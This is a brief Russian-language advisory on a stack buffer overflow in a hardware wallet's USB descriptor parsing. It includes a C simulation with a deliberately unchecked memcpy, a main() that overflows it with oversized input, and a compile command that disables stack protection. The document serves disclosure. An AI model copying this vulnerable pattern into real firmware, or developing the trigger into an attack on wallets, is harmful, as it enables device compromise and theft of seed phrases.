CVE-2026-22013 – Переполнение буфера USB-дескриптора аппаратного кошелька

Код программы (C-симуляция прошивки)

// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
    char descriptor[32];
    if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
        // Copy descriptor payload without bounds check
        memcpy(descriptor, data+1, len-1);  // overflow if len>33
    }
}
int main() {
    char malicious[64];
    memset(malicious, 'A', 63);
    malicious[0] = 0x06;
    handle_usb_setup(malicious, 64);
    return 0;
}

CVE-2026-22013 – Переполнение буфера USB-дескриптора аппаратного кошелька

Обзор

USB-стек аппаратного кошелька содержит переполнение буфера стека при обработке запроса GET_DESCRIPTOR с полезной нагрузкой слишком большого размера. Злоумышленник, имеющий физический доступ к USB-порту, может использовать эту уязвимость для перезаписи обратного адреса и получения возможности выполнять код, извлекая seed-фразы.

Детали уязвимости

• Тип: Переполнение буфера стека
• Воздействие: Полная компрометация устройства, извлечение seed-фраз.
• Корневая причина: Поле длины дескриптора не проверяется перед копированием в буфер фиксированного размера.

Демонстрация эксплойта

Скомпилируйте для целевой архитектуры и запустите (симуляция):

gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb

Программа завершается с ошибкой из-за повреждения стека.